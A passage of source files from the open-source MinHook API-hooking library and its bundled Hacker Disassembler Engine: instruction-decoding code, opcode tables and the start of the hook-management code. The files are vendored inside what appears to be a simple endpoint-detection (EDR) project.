235 | }
236 |
237 | switch (m_mod) {
238 | case 0:
239 | if (pref & PRE_67) {
240 | if (m_rm == 6)
241 | disp_size = 2;
242 | } else
243 | if (m_rm == 5)
244 | disp_size = 4;
245 | break;
246 | case 1:
247 | disp_size = 1;
248 | break;
249 | case 2:
250 | disp_size = 2;
251 | if (!(pref & PRE_67))
252 | disp_size <<= 1;
253 | }
254 |
255 | if (m_mod != 3 && m_rm == 4) {
256 | hs->flags |= F_SIB;
257 | p++;
258 | hs->sib = c;
259 | hs->sib_scale = c >> 6;
260 | hs->sib_index = (c & 0x3f) >> 3;
261 | if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
262 | disp_size = 4;
263 | }
264 |
265 | p--;
266 | switch (disp_size) {
267 | case 1:
268 | hs->flags |= F_DISP8;
269 | hs->disp.disp8 = *p;
270 | break;
271 | case 2:
272 | hs->flags |= F_DISP16;
273 | hs->disp.disp16 = *(uint16_t *)p;
274 | break;
275 | case 4:
276 | hs->flags |= F_DISP32;
277 | hs->disp.disp32 = *(uint32_t *)p;
278 | }
279 | p += disp_size;
280 | } else if (pref & PRE_LOCK)
281 | hs->flags |= F_ERROR | F_ERROR_LOCK;
282 |
283 | if (cflags & C_IMM_P66) {
284 | if (cflags & C_REL32) {
285 | if (pref & PRE_66) {
286 | hs->flags |= F_IMM16 | F_RELATIVE;
287 | hs->imm.imm16 = *(uint16_t *)p;
288 | p += 2;
289 | goto disasm_done;
290 | }
291 | goto rel32_ok;
292 | }
293 | if (op64) {
294 | hs->flags |= F_IMM64;
295 | hs->imm.imm64 = *(uint64_t *)p;
296 | p += 8;
297 | } else if (!(pref & PRE_66)) {
298 | hs->flags |= F_IMM32;
299 | hs->imm.imm32 = *(uint32_t *)p;
300 | p += 4;
301 | } else
302 | goto imm16_ok;
303 | }
304 |
305 |
306 | if (cflags & C_IMM16) {
307 | imm16_ok:
308 | hs->flags |= F_IMM16;
309 | hs->imm.imm16 = *(uint16_t *)p;
310 | p += 2;
311 | }
312 | if (cflags & C_IMM8) {
313 | hs->flags |= F_IMM8;
314 | hs->imm.imm8 = *p++;
315 | }
316 |
317 | if (cflags & C_REL32) {
318 | rel32_ok:
319 | hs->flags |= F_IMM32 | F_RELATIVE;
320 | hs->imm.imm32 = *(uint32_t *)p;
321 | p += 4;
322 | } else if (cflags & C_REL8) {
323 | hs->flags |= F_IMM8 | F_RELATIVE;
324 | hs->imm.imm8 = *p++;
325 | }
326 |
327 | disasm_done:
328 |
329 | if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
330 | hs->flags |= F_ERROR | F_ERROR_LENGTH;
331 | hs->len = 15;
332 | }
333 |
334 | return (unsigned int)hs->len;
335 | }
336 |
337 | #endif // defined(_M_X64) || defined(__x86_64__)
338 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/hde64.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | * hde64.h: C/C++ header file
7 | *
8 | */
9 |
10 | #ifndef _HDE64_H_
11 | #define _HDE64_H_
12 |
13 | /* stdint.h - C99 standard header
14 | * http://en.wikipedia.org/wiki/stdint.h
15 | *
16 | * if your compiler doesn't contain "stdint.h" header (for
17 | * example, Microsoft Visual C++), you can download file:
18 | * http://www.azillionmonkeys.com/qed/pstdint.h
19 | * and change next line to:
20 | * #include "pstdint.h"
21 | */
22 | #include "pstdint.h"
23 |
24 | #define F_MODRM 0x00000001
25 | #define F_SIB 0x00000002
26 | #define F_IMM8 0x00000004
27 | #define F_IMM16 0x00000008
28 | #define F_IMM32 0x00000010
29 | #define F_IMM64 0x00000020
30 | #define F_DISP8 0x00000040
31 | #define F_DISP16 0x00000080
32 | #define F_DISP32 0x00000100
33 | #define F_RELATIVE 0x00000200
34 | #define F_ERROR 0x00001000
35 | #define F_ERROR_OPCODE 0x00002000
36 | #define F_ERROR_LENGTH 0x00004000
37 | #define F_ERROR_LOCK 0x00008000
38 | #define F_ERROR_OPERAND 0x00010000
39 | #define F_PREFIX_REPNZ 0x01000000
40 | #define F_PREFIX_REPX 0x02000000
41 | #define F_PREFIX_REP 0x03000000
42 | #define F_PREFIX_66 0x04000000
43 | #define F_PREFIX_67 0x08000000
44 | #define F_PREFIX_LOCK 0x10000000
45 | #define F_PREFIX_SEG 0x20000000
46 | #define F_PREFIX_REX 0x40000000
47 | #define F_PREFIX_ANY 0x7f000000
48 |
49 | #define PREFIX_SEGMENT_CS 0x2e
50 | #define PREFIX_SEGMENT_SS 0x36
51 | #define PREFIX_SEGMENT_DS 0x3e
52 | #define PREFIX_SEGMENT_ES 0x26
53 | #define PREFIX_SEGMENT_FS 0x64
54 | #define PREFIX_SEGMENT_GS 0x65
55 | #define PREFIX_LOCK 0xf0
56 | #define PREFIX_REPNZ 0xf2
57 | #define PREFIX_REPX 0xf3
58 | #define PREFIX_OPERAND_SIZE 0x66
59 | #define PREFIX_ADDRESS_SIZE 0x67
60 |
61 | #pragma pack(push,1)
62 |
63 | typedef struct {
64 | uint8_t len;
65 | uint8_t p_rep;
66 | uint8_t p_lock;
67 | uint8_t p_seg;
68 | uint8_t p_66;
69 | uint8_t p_67;
70 | uint8_t rex;
71 | uint8_t rex_w;
72 | uint8_t rex_r;
73 | uint8_t rex_x;
74 | uint8_t rex_b;
75 | uint8_t opcode;
76 | uint8_t opcode2;
77 | uint8_t modrm;
78 | uint8_t modrm_mod;
79 | uint8_t modrm_reg;
80 | uint8_t modrm_rm;
81 | uint8_t sib;
82 | uint8_t sib_scale;
83 | uint8_t sib_index;
84 | uint8_t sib_base;
85 | union {
86 | uint8_t imm8;
87 | uint16_t imm16;
88 | uint32_t imm32;
89 | uint64_t imm64;
90 | } imm;
91 | union {
92 | uint8_t disp8;
93 | uint16_t disp16;
94 | uint32_t disp32;
95 | } disp;
96 | uint32_t flags;
97 | } hde64s;
98 |
99 | #pragma pack(pop)
100 |
101 | #ifdef __cplusplus
102 | extern "C" {
103 | #endif
104 |
105 | /* __cdecl */
106 | unsigned int hde64_disasm(const void *code, hde64s *hs);
107 |
108 | #ifdef __cplusplus
109 | }
110 | #endif
111 |
112 | #endif /* _HDE64_H_ */
113 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/pstdint.h:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
4 | *
5 | * Redistribution and use in source and binary forms, with or without
6 | * modification, are permitted provided that the following conditions
7 | * are met:
8 | *
9 | * 1. Redistributions of source code must retain the above copyright
10 | * notice, this list of conditions and the following disclaimer.
11 | * 2. Redistributions in binary form must reproduce the above copyright
12 | * notice, this list of conditions and the following disclaimer in the
13 | * documentation and/or other materials provided with the distribution.
14 | *
15 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
16 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
17 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
18 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
19 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
20 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
21 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
22 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
23 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
24 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
25 | */
26 |
27 | #pragma once
28 |
29 | #include
30 |
31 | // Integer types for HDE.
32 | typedef INT8 int8_t;
33 | typedef INT16 int16_t;
34 | typedef INT32 int32_t;
35 | typedef INT64 int64_t;
36 | typedef UINT8 uint8_t;
37 | typedef UINT16 uint16_t;
38 | typedef UINT32 uint32_t;
39 | typedef UINT64 uint64_t;
40 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/table32.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 32 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #define C_NONE 0x00
9 | #define C_MODRM 0x01
10 | #define C_IMM8 0x02
11 | #define C_IMM16 0x04
12 | #define C_IMM_P66 0x10
13 | #define C_REL8 0x20
14 | #define C_REL32 0x40
15 | #define C_GROUP 0x80
16 | #define C_ERROR 0xff
17 |
18 | #define PRE_ANY 0x00
19 | #define PRE_NONE 0x01
20 | #define PRE_F2 0x02
21 | #define PRE_F3 0x04
22 | #define PRE_66 0x08
23 | #define PRE_67 0x10
24 | #define PRE_LOCK 0x20
25 | #define PRE_SEG 0x40
26 | #define PRE_ALL 0xff
27 |
28 | #define DELTA_OPCODES 0x4a
29 | #define DELTA_FPU_REG 0xf1
30 | #define DELTA_FPU_MODRM 0xf8
31 | #define DELTA_PREFIXES 0x130
32 | #define DELTA_OP_LOCK_OK 0x1a1
33 | #define DELTA_OP2_LOCK_OK 0x1b9
34 | #define DELTA_OP_ONLY_MEM 0x1cb
35 | #define DELTA_OP2_ONLY_MEM 0x1da
36 |
37 | unsigned char hde32_table[] = {
38 | 0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
39 | 0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
40 | 0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
41 | 0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
42 | 0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
43 | 0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
44 | 0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
45 | 0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
46 | 0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
47 | 0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
48 | 0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
49 | 0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
50 | 0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
51 | 0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
52 | 0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
53 | 0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
54 | 0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
55 | 0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
56 | 0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
57 | 0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
58 | 0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
59 | 0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
60 | 0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
61 | 0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
62 | 0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
63 | 0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
64 | 0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
65 | 0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
66 | 0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
67 | 0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
68 | 0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
69 | 0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
70 | 0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
71 | 0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
72 | 0xe7,0x08,0x00,0xf0,0x02,0x00
73 | };
74 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hde/table64.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Hacker Disassembler Engine 64 C
3 | * Copyright (c) 2008-2009, Vyacheslav Patkov.
4 | * All rights reserved.
5 | *
6 | */
7 |
8 | #define C_NONE 0x00
9 | #define C_MODRM 0x01
10 | #define C_IMM8 0x02
11 | #define C_IMM16 0x04
12 | #define C_IMM_P66 0x10
13 | #define C_REL8 0x20
14 | #define C_REL32 0x40
15 | #define C_GROUP 0x80
16 | #define C_ERROR 0xff
17 |
18 | #define PRE_ANY 0x00
19 | #define PRE_NONE 0x01
20 | #define PRE_F2 0x02
21 | #define PRE_F3 0x04
22 | #define PRE_66 0x08
23 | #define PRE_67 0x10
24 | #define PRE_LOCK 0x20
25 | #define PRE_SEG 0x40
26 | #define PRE_ALL 0xff
27 |
28 | #define DELTA_OPCODES 0x4a
29 | #define DELTA_FPU_REG 0xfd
30 | #define DELTA_FPU_MODRM 0x104
31 | #define DELTA_PREFIXES 0x13c
32 | #define DELTA_OP_LOCK_OK 0x1ae
33 | #define DELTA_OP2_LOCK_OK 0x1c6
34 | #define DELTA_OP_ONLY_MEM 0x1d8
35 | #define DELTA_OP2_ONLY_MEM 0x1e7
36 |
37 | unsigned char hde64_table[] = {
38 | 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
39 | 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
40 | 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
41 | 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
42 | 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
43 | 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
44 | 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
45 | 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
46 | 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
47 | 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
48 | 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
49 | 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
50 | 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
51 | 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
52 | 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
53 | 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
54 | 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
55 | 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
56 | 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
57 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
58 | 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
59 | 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
60 | 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
61 | 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
62 | 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
63 | 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
64 | 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
65 | 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
66 | 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
67 | 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
68 | 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
69 | 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
70 | 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
71 | 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
72 | 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
73 | 0x00,0xf0,0x02,0x00
74 | };
75 |
--------------------------------------------------------------------------------
/MyDumbEDRDLL/minhook/src/hook.c:
--------------------------------------------------------------------------------
1 | /*
2 | * MinHook - The Minimalistic API Hooking Library for x64/x86
3 | * Copyright (C) 2009-2017 Tsuda Kageyu.
4 | * All rights reserved.
5 | *
6 | * Redistribution and use in source and binary forms, with or without
7 | * modification, are permitted provided that the following conditions
8 | * are met:
9 | *
10 | * 1. Redistributions of source code must retain the above copyright
11 | * notice, this list of conditions and the following disclaimer.
12 | * 2. Redistributions in binary form must reproduce the above copyright
13 | * notice, this list of conditions and the following disclaimer in the
14 | * documentation and/or other materials provided with the distribution.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
17 | * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
18 | * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
19 | * PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
20 | * OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
21 | * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
22 | * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
23 | * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
24 | * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
25 | * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
26 | * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 |
29 | #include
30 | #include
31 | #include
32 |
33 | #include "../include/MinHook.h"
34 | #include "buffer.h"
35 | #include "trampoline.h"
36 |
37 | #ifndef ARRAYSIZE
38 | #define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
39 | #endif
40 |
41 | // Initial capacity of the HOOK_ENTRY buffer.
42 | #define INITIAL_HOOK_CAPACITY 32
43 |
44 | // Initial capacity of the thread IDs buffer.
45 | #define INITIAL_THREAD_CAPACITY 128
46 |
47 | // Special hook position values.
48 | #define INVALID_HOOK_POS UINT_MAX
49 | #define ALL_HOOKS_POS UINT_MAX
50 |
51 | // Freeze() action argument defines.
52 | #define ACTION_DISABLE 0
53 | #define ACTION_ENABLE 1
54 | #define ACTION_APPLY_QUEUED 2
55 |
56 | // Thread access rights for suspending/resuming threads.
57 | #define THREAD_ACCESS \
58 | (THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
59 |
60 | // Hook information.
61 | typedef struct _HOOK_ENTRY
62 | {
63 | LPVOID pTarget; // Address of the target function.
64 | LPVOID pDetour; // Address of the detour or relay function.
65 | LPVOID pTrampoline; // Address of the trampoline function.
66 | UINT8 backup[8]; // Original prologue of the target function.
67 |
68 | UINT8 patchAbove : 1; // Uses the hot patch area.
69 | UINT8 isEnabled : 1; // Enabled.
70 | UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
71 |
72 | UINT nIP : 4; // Count of the instruction boundaries.
73 | UINT8 oldIPs[8]; // Instruction boundaries of the target function.
74 | UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
75 | } HOOK_ENTRY, *PHOOK_ENTRY;
76 |
77 | // Suspended threads for Freeze()/Unfreeze().
78 | typedef struct _FROZEN_THREADS
79 | {
80 | LPDWORD pItems; // Data heap
81 | UINT capacity; // Size of allocated data heap, items
82 | UINT size; // Actual number of data items
83 | } FROZEN_THREADS, *PFROZEN_THREADS;
84 |
85 | //-------------------------------------------------------------------------
86 | // Global Variables:
87 | //-------------------------------------------------------------------------
88 |
89 | // Spin lock flag for EnterSpinLock()/LeaveSpinLock().
90 | volatile LONG g_isLocked = FALSE;
91 |
92 | // Private heap handle. If not NULL, this library is initialized.
93 | HANDLE g_hHeap = NULL;
94 |
95 | // Hook entries.
96 | struct
97 | {
98 | PHOOK_ENTRY pItems; // Data heap
99 | UINT capacity; // Size of allocated data heap, items
100 | UINT size; // Actual number of data items
101 | } g_hooks;
102 |
103 | //-------------------------------------------------------------------------
104 | // Returns INVALID_HOOK_POS if not found.
105 | static UINT FindHookEntry(LPVOID pTarget)
106 | {
107 | UINT i;
108 | for (i = 0; i < g_hooks.size; ++i)
109 | {
110 | if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
111 | return i;
112 | }
113 |
114 | return INVALID_HOOK_POS;
115 | }
116 |
117 | //-------------------------------------------------------------------------
118 | static PHOOK_ENTRY AddHookEntry()
119 | {
120 | if (g_hooks.pItems == NULL)
121 | {
122 | g_hooks.capacity = INITIAL_HOOK_CAPACITY;
123 | g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
124 | g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
125 | if (g_hooks.pItems == NULL)
126 | return NULL;
127 | }
128 | else if (g_hooks.size >= g_hooks.capacity)
129 | {
130 | PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
131 | g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
132 | if (p == NULL)
133 | return NULL;
134 |
135 | g_hooks.capacity *= 2;
136 | g_hooks.pItems = p;
137 | }
138 |
139 | return &g_hooks.pItems[g_hooks.size++];
140 | }
141 |
142 | //-------------------------------------------------------------------------
143 | static void DeleteHookEntry(UINT pos)
144 | {
145 | if (pos < g_hooks.size - 1)
146 | g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
147 |
148 | g_hooks.size--;
149 |
150 | if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
151 | {
152 | PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
153 | g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
154 | if (p == NULL)
155 | return;
156 |
157 | g_hooks.capacity /= 2;
158 | g_hooks.pItems = p;
159 | }
160 | }
161 |
162 | //-------------------------------------------------------------------------
163 | static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
164 | {
165 | UINT i;
166 |
167 | if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
168 | return (DWORD_PTR)pHook->pTarget;
169 |
170 | for (i = 0; i < pHook->nIP; ++i)
171 | {
172 | if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
173 | return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
174 | }
175 |
176 | #if defined(_M_X64) || defined(__x86_64__)
177 | // Check relay function.
178 | if (ip == (DWORD_PTR)pHook->pDetour)
179 | return (DWORD_PTR)pHook->pTarget;
180 | #endif
181 |
182 | return 0;
183 | }
184 |
185 | //-------------------------------------------------------------------------
186 | static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
187 | {
188 | UINT i;
189 | for (i = 0; i < pHook->nIP; ++i)
190 | {
191 | if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
192 | return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
193 | }
194 |
195 | return 0;
196 | }
197 |
198 | //-------------------------------------------------------------------------
199 | static void ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
200 | {
201 | // If the thread suspended in the overwritten area,
202 | // move IP to the proper address.
203 |
204 | CONTEXT c;
205 | #if defined(_M_X64) || defined(__x86_64__)
206 | DWORD64 *pIP = &c.Rip;
207 | #else
208 | DWORD *pIP = &c.Eip;
209 | #endif
210 | UINT count;
211 |
212 | c.ContextFlags = CONTEXT_CONTROL;
213 | if (!GetThreadContext(hThread, &c))
214 | return;
215 |
216 | if (pos == ALL_HOOKS_POS)
217 | {
218 | pos = 0;
219 | count = g_hooks.size;
220 | }
221 | else
222 | {
223 | count = pos + 1;
224 | }
225 |
226 | for (; pos < count; ++pos)
227 | {
228 | PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
229 | BOOL enable;
230 | DWORD_PTR ip;
231 |
232 | switch (action)
233 | {
234 | case ACTION_DISABLE:
235 | enable = FALSE;
236 | break;
237 |
238 | case ACTION_ENABLE:
239 | enable = TRUE;
240 | break;
241 |
242 | default: // ACTION_APPLY_QUEUED
243 | enable = pHook->queueEnable;
244 | break;
245 | }
246 | if (pHook->isEnabled == enable)
247 | continue;
248 |
249 | if (enable)
250 | ip = FindNewIP(pHook, *pIP);
251 | else
252 | ip = FindOldIP(pHook, *pIP);
253 |
254 | if (ip != 0)
255 | {
256 | *pIP = ip;
257 | SetThreadContext(hThread, &c);
258 | }
259 | }
260 | }
261 |
262 | //-------------------------------------------------------------------------
263 | static VOID EnumerateThreads(PFROZEN_THREADS pThreads)
264 | {
